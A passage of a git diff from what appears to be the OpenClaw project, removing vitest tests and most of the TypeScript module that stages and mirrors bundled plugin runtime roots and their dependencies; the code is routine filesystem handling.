"utf8")).toContain("playwright-core"); - expect(fs.lstatSync(path.join(installRoot, "dist", "shared-runtime.js")).isSymbolicLink()).toBe( - false, - ); - expect(fs.lstatSync(path.join(installRoot, "dist", "config-runtime.js")).isSymbolicLink()).toBe( - false, - ); - expect(fs.lstatSync(path.join(installRoot, "dist", "string-runtime.js")).isSymbolicLink()).toBe( - false, - ); - }); - - it("reuses prepared root mirrors across bundled plugins", () => { - const packageRoot = makeTempRoot(); - const stageDir = makeTempRoot(); - const env = { ...process.env, OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const rootChunk = path.join(packageRoot, "dist", "shared-runtime.js"); - const externalChunk = path.join(packageRoot, "dist", "external-runtime.js"); - fs.mkdirSync(path.join(packageRoot, "dist", "extensions"), { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27", type: "module" }), - "utf8", - ); - fs.writeFileSync(rootChunk, "export const shared = 'root';\n", "utf8"); - fs.writeFileSync(externalChunk, "import zod from 'zod'; export const schema = zod;\n", "utf8"); - const installRoot = resolveBundledRuntimeDependencyInstallRoot( - path.join(packageRoot, "dist", "extensions", "alpha"), - { env }, - ); - - for (const pluginId of ["alpha", "beta"]) { - const pluginRoot = path.join(packageRoot, "dist", "extensions", pluginId); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "index.js"), - `import { shared } from "../../shared-runtime.js"; export default { id: ${JSON.stringify(pluginId)}, shared };\n`, - "utf8", - ); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify( - { - name: `@openclaw/${pluginId}`, - version: "1.0.0", - type: "module", - dependencies: { [`${pluginId}-runtime`]: "1.0.0" }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf8", - ); - const pluginInstallRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - writeInstalledRuntimeDepPackage(pluginInstallRoot, `${pluginId}-runtime`, "1.0.0"); - } - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0", "beta-runtime@1.0.0"]); - - const realReaddirSync = fs.readdirSync.bind(fs); - const readdirPaths: string[] = []; - vi.spyOn(fs, "readdirSync").mockImplementation(((target, options) => { - const targetPath = target.toString(); - if ( - targetPath === path.join(packageRoot, "dist") && - new Error().stack?.includes("mirrorBundledRuntimeDistRootEntries") - ) { - readdirPaths.push(targetPath); - } - return realReaddirSync(target, options as never); - }) as typeof fs.readdirSync); - - for (const pluginId of ["alpha", "beta"]) { - const pluginRoot = path.join(packageRoot, "dist", "extensions", pluginId); - prepareBundledPluginRuntimeRoot({ - pluginId, - pluginRoot, - modulePath: path.join(pluginRoot, "index.js"), - env, - }); - } - - expect(fs.lstatSync(path.join(installRoot, "dist", "shared-runtime.js")).isSymbolicLink()).toBe( - false, - ); - expect( - fs.lstatSync(path.join(installRoot, "dist", "external-runtime.js")).isSymbolicLink(), - ).toBe(false); - expect(readdirPaths).toHaveLength(1); - }); - - it("does not memoize source-checkout dist mirrors", () => { - const packageRoot = makeTempRoot(); - const stageDir = makeTempRoot(); - const env = { ...process.env, OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - fs.mkdirSync(path.join(packageRoot, ".git"), { recursive: true }); - fs.mkdirSync(path.join(packageRoot, "src"), { recursive: true }); - fs.mkdirSync(path.join(packageRoot, "extensions"), { recursive: true }); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "alpha"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27", type: "module" }), - "utf8", - ); - fs.writeFileSync(path.join(packageRoot, "dist", "shared-runtime.js"), "export {};\n", "utf8"); - fs.writeFileSync( - path.join(pluginRoot, "index.js"), - `import "../../shared-runtime.js"; export default { id: "alpha" };\n`, - "utf8", - ); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/alpha", - version: "1.0.0", - type: "module", - dependencies: { "alpha-runtime": "1.0.0" }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf8", - ); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - writeInstalledRuntimeDepPackage(installRoot, "alpha-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0"]); - - const realReaddirSync = fs.readdirSync.bind(fs); - const readdirPaths: string[] = []; - vi.spyOn(fs, "readdirSync").mockImplementation(((target, options) => { - const targetPath = target.toString(); - if ( - targetPath === path.join(packageRoot, "dist") && - new Error().stack?.includes("mirrorBundledRuntimeDistRootEntries") - ) { - readdirPaths.push(targetPath); - } - return realReaddirSync(target, options as never); - }) as typeof fs.readdirSync); - - for (let index = 0; index < 2; index += 1) { - prepareBundledPluginRuntimeRoot({ - pluginId: "alpha", - pluginRoot, - modulePath: path.join(pluginRoot, "index.js"), - env, - }); - } - - expect(readdirPaths).toHaveLength(2); - }); - - it("does not copy staged runtime mirror dist files onto themselves", () => { - const stageDir = makeTempRoot(); - const installRoot = path.join(stageDir, "openclaw-2026.4.26-alpha"); - const pluginRoot = path.join(installRoot, "dist", "extensions", "qqbot"); - const distChunk = path.join(installRoot, "dist", "accounts-abc123.js"); - const env = { ...process.env, OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(installRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.26", type: "module" }), - "utf8", - ); - fs.writeFileSync(distChunk, "export const marker = 'same-root';\n", "utf8"); - fs.writeFileSync( - path.join(pluginRoot, "index.js"), - `import { marker } from "../../accounts-abc123.js"; export default { id: "qqbot", marker };\n`, - "utf8", - ); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/qqbot", - version: "1.0.0", - type: "module", - dependencies: { "qqbot-runtime": "1.0.0" }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf8", - ); - writeInstalledRuntimeDepPackage(installRoot, "qqbot-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["qqbot-runtime@1.0.0"]); - - const prepared = prepareBundledPluginRuntimeRoot({ - pluginId: "qqbot", - pluginRoot, - modulePath: path.join(pluginRoot, "index.js"), - env, - }); - - expect(prepared.pluginRoot).toBe(pluginRoot); - expect(prepared.modulePath).toBe(path.join(pluginRoot, "index.js")); - expect(fs.readFileSync(distChunk, "utf8")).toContain("same-root"); - }); - - it("mirrors canonical dist chunks when loading from dist-runtime", () => { - const packageRoot = makeTempRoot(); - const stageDir = makeTempRoot(); - const canonicalPluginRoot = path.join(packageRoot, "dist", "extensions", "qqbot"); - const runtimePluginRoot = path.join(packageRoot, "dist-runtime", "extensions", "qqbot"); - const env = { ...process.env, OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - fs.mkdirSync(canonicalPluginRoot, { recursive: true }); - fs.mkdirSync(runtimePluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27", type: "module" }), - "utf8", - ); - fs.writeFileSync( - path.join(packageRoot, "dist", "onboard-abc123.js"), - "export const setup = 'canonical-setup';\n", - "utf8", - ); - fs.writeFileSync( - path.join(canonicalPluginRoot, "index.js"), - `import { setup } from "../../onboard-abc123.js"; export default { id: "qqbot", setup };\n`, - "utf8", - ); - fs.writeFileSync( - path.join(canonicalPluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/qqbot", - version: "1.0.0", - type: "module", - dependencies: { "qqbot-runtime": "1.0.0" }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf8", - ); - fs.writeFileSync( - path.join(runtimePluginRoot, "index.js"), - [ - "export { default } ", - "from ", - JSON.stringify("../../../dist/extensions/qqbot/index.js"), - ";\n", - ].join(""), - "utf8", - ); - fs.writeFileSync( - path.join(runtimePluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/qqbot", - version: "1.0.0", - type: "module", - dependencies: { "qqbot-runtime": "1.0.0" }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf8", - ); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(runtimePluginRoot, { env }); - writeInstalledRuntimeDepPackage(installRoot, "qqbot-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["qqbot-runtime@1.0.0"]); - - const prepared = prepareBundledPluginRuntimeRoot({ - pluginId: "qqbot", - pluginRoot: runtimePluginRoot, - modulePath: path.join(runtimePluginRoot, "index.js"), - env, - }); - - expect(prepared.pluginRoot).toBe(path.join(installRoot, "dist-runtime", "extensions", "qqbot")); - expect(fs.existsSync(path.join(installRoot, "dist", "onboard-abc123.js"))).toBe(true); - expect( - fs.readFileSync(path.join(installRoot, "dist", "extensions", "qqbot", "index.js"), "utf8"), - ).toContain("onboard-abc123"); - }); - - it("fingerprints runtime mirror source roots before taking the mirror lock", () => { - const packageRoot = makeTempRoot(); - const stageDir = makeTempRoot(); - const canonicalPluginRoot = path.join(packageRoot, "dist", "extensions", "qqbot"); - const runtimePluginRoot = path.join(packageRoot, "dist-runtime", "extensions", "qqbot"); - const env = { ...process.env, OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - fs.mkdirSync(canonicalPluginRoot, { recursive: true }); - fs.mkdirSync(runtimePluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27", type: "module" }), - "utf8", - ); - fs.writeFileSync( - path.join(canonicalPluginRoot, "index.js"), - "export default { id: 'qqbot' };\n", - "utf8", - ); - fs.writeFileSync( - path.join(canonicalPluginRoot, "package.json"), - JSON.stringify({ name: "@openclaw/qqbot", version: "1.0.0", type: "module" }, null, 2), - "utf8", - ); - fs.writeFileSync( - path.join(runtimePluginRoot, "index.js"), - `export { default } from ${JSON.stringify("../../../dist/extensions/qqbot/index.js")};\n`, - "utf8", - ); - fs.writeFileSync( - path.join(runtimePluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/qqbot", - version: "1.0.0", - type: "module", - dependencies: { "qqbot-runtime": "1.0.0" }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf8", - ); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(runtimePluginRoot, { env }); - writeInstalledRuntimeDepPackage(installRoot, "qqbot-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["qqbot-runtime@1.0.0"]); - - const lockPath = path.join(installRoot, ".openclaw-runtime-mirror.lock"); - const fingerprintLockStates: Array<{ source: "runtime" | "canonical"; locked: boolean }> = []; - const realLstatSync = fs.lstatSync.bind(fs) as typeof fs.lstatSync; - vi.spyOn(fs, "lstatSync").mockImplementation(((target, options) => { - const targetPath = target.toString(); - if (isBigIntStatOptions(options)) { - if (isPathInsideRoot(targetPath, runtimePluginRoot)) { - fingerprintLockStates.push({ source: "runtime", locked: fs.existsSync(lockPath) }); - } else if (isPathInsideRoot(targetPath, canonicalPluginRoot)) { - fingerprintLockStates.push({ source: "canonical", locked: fs.existsSync(lockPath) }); - } - } - return realLstatSync(target, options as never); - }) as typeof fs.lstatSync); - - prepareBundledPluginRuntimeRoot({ - pluginId: "qqbot", - pluginRoot: runtimePluginRoot, - modulePath: path.join(runtimePluginRoot, "index.js"), - env, - }); - - expect(fingerprintLockStates.some((entry) => entry.source === "runtime")).toBe(true); - expect(fingerprintLockStates.some((entry) => entry.source === "canonical")).toBe(true); - expect(fingerprintLockStates.filter((entry) => entry.locked)).toEqual([]); - }); - - it("reuses unchanged external runtime mirrors from the original plugin root", async () => { - const packageRoot = makeTempRoot(); - const stageDir = makeTempRoot(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "whatsapp"); - const env = { ...process.env, OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27", type: "module" }), - "utf8", - ); - fs.writeFileSync(path.join(pluginRoot, "index.js"), "export const marker = 'v1';\n", "utf8"); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/whatsapp", - version: "1.0.0", - type: "module", - dependencies: { "whatsapp-runtime": "1.0.0" }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf8", - ); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - writeInstalledRuntimeDepPackage(installRoot, "whatsapp-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["whatsapp-runtime@1.0.0"]); - - const prepared = prepareBundledPluginRuntimeRoot({ - pluginId: "whatsapp", - pluginRoot, - modulePath: path.join(pluginRoot, "index.js"), - env, - }); - const mirrorEntry = path.join(prepared.pluginRoot, "index.js"); - const initialStat = fs.statSync(mirrorEntry); - - await waitForFilesystemTimestampTick(); - - const preparedAgain = prepareBundledPluginRuntimeRoot({ - pluginId: "whatsapp", - pluginRoot, - modulePath: path.join(pluginRoot, "index.js"), - env, - }); - const reusedStat = fs.statSync(mirrorEntry); - - expect(preparedAgain).toEqual(prepared); - expect(reusedStat.mtimeMs).toBe(initialStat.mtimeMs); - expect(fs.readFileSync(mirrorEntry, "utf8")).toContain("v1"); - }); - - it("verifies runtime deps before returning a memoized prepared root", () => { - const packageRoot = makeTempRoot(); - const stageDir = makeTempRoot(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "whatsapp"); - const env = { ...process.env, OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27", type: "module" }), - "utf8", - ); - fs.writeFileSync(path.join(pluginRoot, "index.js"), "export const marker = 'v1';\n", "utf8"); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/whatsapp", - version: "1.0.0", - type: "module", - dependencies: { "whatsapp-runtime": "1.0.0" }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf8", - ); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - const installDeps = vi.fn((installParams: BundledRuntimeDepsInstallParams) => { - const installSpecs = installParams.installSpecs ?? []; - for (const spec of installSpecs) { - const atIndex = spec.lastIndexOf("@"); - writeInstalledRuntimeDepPackage( - installParams.installRoot, - spec.slice(0, atIndex), - spec.slice(atIndex + 1), - ); - } - writeGeneratedRuntimeDepsManifest(installParams.installRoot, installSpecs); - }); - - const prepared = prepareBundledPluginRuntimeLoadRoot({ - pluginId: "whatsapp", - pluginRoot, - modulePath: path.join(pluginRoot, "index.js"), - env, - installDeps, - memoizePreparedRoot: true, - }); - fs.rmSync(path.join(installRoot, "node_modules"), { recursive: true, force: true }); - fs.rmSync(path.join(installRoot, "package.json"), { force: true }); - - const preparedAgain = prepareBundledPluginRuntimeLoadRoot({ - pluginId: "whatsapp", - pluginRoot, - modulePath: path.join(pluginRoot, "index.js"), - env, - installDeps, - memoizePreparedRoot: true, - }); - - expect(preparedAgain).toEqual(prepared); - expect(installDeps).toHaveBeenCalledTimes(2); - }); - - it("includes earlier staging failures when verify-only runtime deps still fail", () => { - const packageRoot = makeTempRoot(); - const stageDir = makeTempRoot(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "whatsapp"); - const env = { ...process.env, OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync(path.join(pluginRoot, "index.js"), "export {};\n", "utf8"); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - name: "@openclaw/whatsapp", - version: "1.0.0", - type: "module", - dependencies: { "whatsapp-runtime": "1.0.0" }, - }), - "utf8", - ); - - expect(() => - prepareBundledPluginRuntimeRoot({ - pluginId: "whatsapp", - pluginRoot, - modulePath: path.join(pluginRoot, "index.js"), - env, - installMissingDeps: false, - previousRepairError: new Error("offline registry"), - }), - ).toThrow( - /bundled runtime dependencies missing.*whatsapp-runtime@1\.0\.0.*previous bundled runtime dependency staging failure: offline registry/s, - ); - }); - - it("refreshes external runtime mirrors when source files change", async () => { - const packageRoot = makeTempRoot(); - const stageDir = makeTempRoot(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "whatsapp"); - const env = { ...process.env, OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27", type: "module" }), - "utf8", - ); - fs.writeFileSync(path.join(pluginRoot, "index.js"), "export const marker = 'v1';\n", "utf8"); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/whatsapp", - version: "1.0.0", - type: "module", - dependencies: { "whatsapp-runtime": "1.0.0" }, - openclaw: { extensions: ["./index.js"] }, - }, - null, - 2, - ), - "utf8", - ); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - writeInstalledRuntimeDepPackage(installRoot, "whatsapp-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["whatsapp-runtime@1.0.0"]); - - const prepared = prepareBundledPluginRuntimeRoot({ - pluginId: "whatsapp", - pluginRoot, - modulePath: path.join(pluginRoot, "index.js"), - env, - }); - const mirrorEntry = path.join(prepared.pluginRoot, "index.js"); - const initialStat = fs.statSync(mirrorEntry); - - await waitForFilesystemTimestampTick(); - fs.writeFileSync(path.join(pluginRoot, "index.js"), "export const marker = 'v2';\n", "utf8"); - - prepareBundledPluginRuntimeRoot({ - pluginId: "whatsapp", - pluginRoot, - modulePath: path.join(pluginRoot, "index.js"), - env, - }); - const refreshedStat = fs.statSync(mirrorEntry); - - expect(refreshedStat.mtimeMs).toBeGreaterThan(initialStat.mtimeMs); - expect(fs.readFileSync(mirrorEntry, "utf8")).toContain("v2"); - }); -}); diff --git a/src/plugins/bundled-runtime-root.ts b/src/plugins/bundled-runtime-root.ts deleted file mode 100644 index 1f54f1c4c74..00000000000 --- a/src/plugins/bundled-runtime-root.ts +++ /dev/null @@ -1,546 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import type { OpenClawConfig } from "../config/types.openclaw.js"; -import type { BundledRuntimeDepsInstallParams } from "./bundled-runtime-deps-install.js"; -import { withBundledRuntimeDepsFilesystemLock } from "./bundled-runtime-deps-lock.js"; -import { - resolveBundledRuntimeDependencyInstallRootPlan, - resolveBundledRuntimeDependencyPackageRoot, -} from "./bundled-runtime-deps-roots.js"; -import { - ensureBundledPluginRuntimeDeps, - registerBundledRuntimeDependencyNodePath, -} from "./bundled-runtime-deps.js"; -import { - markBundledRuntimeDistMirrorPrepared, - shouldReusePreparedBundledRuntimeDistMirror, -} from "./bundled-runtime-dist-mirror-cache.js"; -import { - materializeBundledRuntimeMirrorFile, - precomputeBundledRuntimeMirrorMetadata, - refreshBundledPluginRuntimeMirrorRoot, - type PrecomputedBundledRuntimeMirrorMetadata, -} from "./bundled-runtime-mirror.js"; - -const BUNDLED_RUNTIME_MIRROR_LOCK_DIR = ".openclaw-runtime-mirror.lock"; - -export type PreparedBundledPluginRuntimeLoadRoot = { - pluginRoot: string; - modulePath: string; - setupModulePath?: string; -}; - -const preparedRuntimeLoadRoots = new Map(); - -function createPreparedRuntimeLoadRootKey(params: { - pluginId: string; - pluginRoot: string; - modulePath: string; - setupModulePath?: string; - env: NodeJS.ProcessEnv; -}): string { - const installRootPlan = resolveBundledRuntimeDependencyInstallRootPlan(params.pluginRoot, { - env: params.env, - }); - return JSON.stringify({ - pluginId: params.pluginId, - pluginRoot: path.resolve(params.pluginRoot), - modulePath: path.resolve(params.modulePath), - setupModulePath: params.setupModulePath ? path.resolve(params.setupModulePath) : "", - installRoot: path.resolve(installRootPlan.installRoot), - searchRoots: installRootPlan.searchRoots.map((root) => path.resolve(root)), - }); -} - -export function clearPreparedBundledPluginRuntimeLoadRoots(): void { - preparedRuntimeLoadRoots.clear(); -} - -function registerBundledRuntimeLoadRootAliases(params: { - pluginRoot: string; - installRoot: string; - searchRoots: readonly string[]; - registerRuntimeAliasRoot?: (rootDir: string) => void; -}): void { - if (path.resolve(params.installRoot) === path.resolve(params.pluginRoot)) { - ensureOpenClawPluginSdkAlias(path.dirname(path.dirname(params.pluginRoot))); - return; - } - const packageRoot = resolveBundledRuntimeDependencyPackageRoot(params.pluginRoot); - if (packageRoot) { - registerBundledRuntimeDependencyNodePath(packageRoot); - params.registerRuntimeAliasRoot?.(packageRoot); - } - for (const searchRoot of params.searchRoots) { - registerBundledRuntimeDependencyNodePath(searchRoot); - params.registerRuntimeAliasRoot?.(searchRoot); - } -} - -function formatRuntimeDepsError(error: unknown): string { - if (error instanceof Error && error.message.trim()) { - return error.message; - } - return String(error); -} - -function appendPreviousRuntimeDepsRepairError(params: { - error: unknown; - previousRepairError?: unknown; -}): never { - if (params.previousRepairError === undefined) { - throw params.error; - } - throw new Error( - `${formatRuntimeDepsError(params.error)}; previous bundled runtime dependency staging failure: ${formatRuntimeDepsError(params.previousRepairError)}`, - ); -} - -export function isBuiltBundledPluginRuntimeRoot(pluginRoot: string): boolean { - const extensionsDir = path.dirname(pluginRoot); - const buildDir = path.dirname(extensionsDir); - return ( - path.basename(extensionsDir) === "extensions" && - (path.basename(buildDir) === "dist" || path.basename(buildDir) === "dist-runtime") - ); -} - -export function prepareBundledPluginRuntimeRoot(params: { - pluginId: string; - pluginRoot: string; - modulePath: string; - env?: NodeJS.ProcessEnv; - installMissingDeps?: boolean; - previousRepairError?: unknown; - logInstalled?: (installedSpecs: readonly string[]) => void; -}): { pluginRoot: string; modulePath: string } { - return prepareBundledPluginRuntimeLoadRoot(params); -} - -function ensureBundledRuntimeLoadRootDeps(params: { - pluginId: string; - pluginRoot: string; - env: NodeJS.ProcessEnv; - config?: OpenClawConfig; - installMissingDeps?: boolean; - previousRepairError?: unknown; - installDeps?: (params: BundledRuntimeDepsInstallParams) => void; - logInstalled?: (installedSpecs: readonly string[]) => void; -}): void { - let depsInstallResult: ReturnType; - try { - depsInstallResult = ensureBundledPluginRuntimeDeps({ - pluginId: params.pluginId, - pluginRoot: params.pluginRoot, - env: params.env, - config: params.config, - installMissingDeps: params.installMissingDeps, - installDeps: params.installDeps, - }); - } catch (error) { - appendPreviousRuntimeDepsRepairError({ - error, - previousRepairError: params.previousRepairError, - }); - } - if (depsInstallResult.installedSpecs.length > 0) { - params.logInstalled?.(depsInstallResult.installedSpecs); - } -} - -export function prepareBundledPluginRuntimeLoadRoot(params: { - pluginId: string; - pluginRoot: string; - modulePath: string; - setupModulePath?: string; - env?: NodeJS.ProcessEnv; - config?: OpenClawConfig; - installMissingDeps?: boolean; - previousRepairError?: unknown; - installDeps?: (params: BundledRuntimeDepsInstallParams) => void; - registerRuntimeAliasRoot?: (rootDir: string) => void; - memoizePreparedRoot?: boolean; - logInstalled?: (installedSpecs: readonly string[]) => void; -}): PreparedBundledPluginRuntimeLoadRoot { - const env = params.env ?? process.env; - const installRootPlan = resolveBundledRuntimeDependencyInstallRootPlan(params.pluginRoot, { - env, - }); - const installRoot = installRootPlan.installRoot; - const cacheKey = createPreparedRuntimeLoadRootKey({ ...params, env }); - const cached = params.memoizePreparedRoot ? preparedRuntimeLoadRoots.get(cacheKey) : undefined; - if (cached) { - ensureBundledRuntimeLoadRootDeps({ ...params, env }); - registerBundledRuntimeLoadRootAliases({ - pluginRoot: params.pluginRoot, - installRoot, - searchRoots: installRootPlan.searchRoots, - registerRuntimeAliasRoot: params.registerRuntimeAliasRoot, - }); - return cached; - } - ensureBundledRuntimeLoadRootDeps({ ...params, env }); - if (path.resolve(installRoot) === path.resolve(params.pluginRoot)) { - registerBundledRuntimeLoadRootAliases({ - pluginRoot: params.pluginRoot, - installRoot, - searchRoots: installRootPlan.searchRoots, - registerRuntimeAliasRoot: params.registerRuntimeAliasRoot, - }); - const prepared = { - pluginRoot: params.pluginRoot, - modulePath: params.modulePath, - ...(params.setupModulePath ? { setupModulePath: params.setupModulePath } : {}), - }; - if (params.memoizePreparedRoot) { - preparedRuntimeLoadRoots.set(cacheKey, prepared); - } - return prepared; - } - registerBundledRuntimeLoadRootAliases({ - pluginRoot: params.pluginRoot, - installRoot, - searchRoots: installRootPlan.searchRoots, - registerRuntimeAliasRoot: params.registerRuntimeAliasRoot, - }); - const mirrorRoot = mirrorBundledPluginRuntimeRoot({ - pluginId: params.pluginId, - pluginRoot: params.pluginRoot, - installRoot, - }); - const prepared = { - pluginRoot: mirrorRoot, - modulePath: remapBundledPluginRuntimePath({ - source: params.modulePath, - pluginRoot: params.pluginRoot, - mirroredRoot: mirrorRoot, - }), - ...(params.setupModulePath - ? { - setupModulePath: remapBundledPluginRuntimePath({ - source: params.setupModulePath, - pluginRoot: params.pluginRoot, - mirroredRoot: mirrorRoot, - }), - } - : {}), - }; - if (params.memoizePreparedRoot) { - preparedRuntimeLoadRoots.set(cacheKey, prepared); - } - return prepared; -} - -function remapBundledPluginRuntimePath(params: { - source: string; - pluginRoot: string; - mirroredRoot: string; -}): string { - const relativePath = path.relative(params.pluginRoot, params.source); - if (relativePath.startsWith("..") || path.isAbsolute(relativePath)) { - return params.source; - } - return path.join(params.mirroredRoot, relativePath); -} - -function mirrorBundledPluginRuntimeRoot(params: { - pluginId: string; - pluginRoot: string; - installRoot: string; -}): string { - const sourceDistRoot = path.dirname(path.dirname(params.pluginRoot)); - const mirrorParent = path.join(params.installRoot, path.basename(sourceDistRoot), "extensions"); - const mirrorRoot = path.join(mirrorParent, params.pluginId); - const precomputedPluginRootMetadata = - path.resolve(mirrorRoot) === path.resolve(params.pluginRoot) - ? undefined - : precomputeBundledRuntimeMirrorMetadata({ sourceRoot: params.pluginRoot }); - const precomputedCanonicalPluginRootMetadata = - precomputeCanonicalBundledRuntimeDistPluginMetadata({ - pluginRoot: params.pluginRoot, - sourceDistRoot, - }); - - return withBundledRuntimeDepsFilesystemLock( - params.installRoot, - BUNDLED_RUNTIME_MIRROR_LOCK_DIR, - () => { - const preparedMirrorParent = prepareBundledPluginRuntimeDistMirror({ - installRoot: params.installRoot, - pluginRoot: params.pluginRoot, - precomputedCanonicalPluginRootMetadata, - }); - const preparedMirrorRoot = path.join(preparedMirrorParent, params.pluginId); - fs.mkdirSync(params.installRoot, { recursive: true }); - try { - fs.chmodSync(params.installRoot, 0o755); - } catch { - // Best-effort only: staged roots may live on filesystems that reject chmod. - } - fs.mkdirSync(preparedMirrorParent, { recursive: true }); - try { - fs.chmodSync(preparedMirrorParent, 0o755); - } catch { - // Best-effort only: the access check below will surface non-writable dirs. - } - fs.accessSync(preparedMirrorParent, fs.constants.W_OK); - if (path.resolve(preparedMirrorRoot) === path.resolve(params.pluginRoot)) { - return preparedMirrorRoot; - } - refreshBundledPluginRuntimeMirrorRoot({ - pluginId: params.pluginId, - sourceRoot: params.pluginRoot, - targetRoot: preparedMirrorRoot, - tempDirParent: preparedMirrorParent, - precomputedSourceMetadata: precomputedPluginRootMetadata, - }); - return preparedMirrorRoot; - }, - ); -} - -function prepareBundledPluginRuntimeDistMirror(params: { - installRoot: string; - pluginRoot: string; - precomputedCanonicalPluginRootMetadata?: PrecomputedBundledRuntimeMirrorMetadata; -}): string { - const sourceExtensionsRoot = path.dirname(params.pluginRoot); - const sourceDistRoot = path.dirname(sourceExtensionsRoot); - const sourceDistRootName = path.basename(sourceDistRoot); - const mirrorDistRoot = path.join(params.installRoot, sourceDistRootName); - const mirrorExtensionsRoot = path.join(mirrorDistRoot, "extensions"); - ensureBundledRuntimeMirrorDirectory(mirrorDistRoot); - fs.mkdirSync(mirrorExtensionsRoot, { recursive: true, mode: 0o755 }); - ensureBundledRuntimeDistPackageJson(mirrorDistRoot); - if (!shouldReusePreparedBundledRuntimeDistMirror({ sourceDistRoot, mirrorDistRoot })) { - mirrorBundledRuntimeDistRootEntries({ - sourceDistRoot, - mirrorDistRoot, - }); - markBundledRuntimeDistMirrorPrepared({ sourceDistRoot, mirrorDistRoot }); - } - if (sourceDistRootName === "dist-runtime") { - mirrorCanonicalBundledRuntimeDistRoot({ - installRoot: params.installRoot, - pluginRoot: params.pluginRoot, - sourceRuntimeDistRoot: sourceDistRoot, - precomputedSourceMetadata: params.precomputedCanonicalPluginRootMetadata, - }); - } - ensureOpenClawPluginSdkAlias(mirrorDistRoot); - return mirrorExtensionsRoot; -} - -function ensureBundledRuntimeMirrorDirectory(targetRoot: string): void { - try { - const stat = fs.lstatSync(targetRoot); - if (stat.isDirectory() && !stat.isSymbolicLink()) { - return; - } - fs.rmSync(targetRoot, { recursive: true, force: true }); - } catch (error) { - if ((error as NodeJS.ErrnoException).code !== "ENOENT") { - throw error; - } - } - fs.mkdirSync(targetRoot, { recursive: true, mode: 0o755 }); -} - -function isPathInsideDirectory(childPath: string, parentPath: string): boolean { - const relative = path.relative(path.resolve(parentPath), path.resolve(childPath)); - return relative !== "" && !relative.startsWith("..") && !path.isAbsolute(relative); -} - -function mirrorBundledRuntimeDistRootEntries(params: { - sourceDistRoot: string; - mirrorDistRoot: string; -}): void { - const mirrorRootDirectories = - path.basename(params.sourceDistRoot) === "dist" || - path.basename(params.sourceDistRoot) === "dist-runtime"; - for (const entry of fs.readdirSync(params.sourceDistRoot, { withFileTypes: true })) { - if 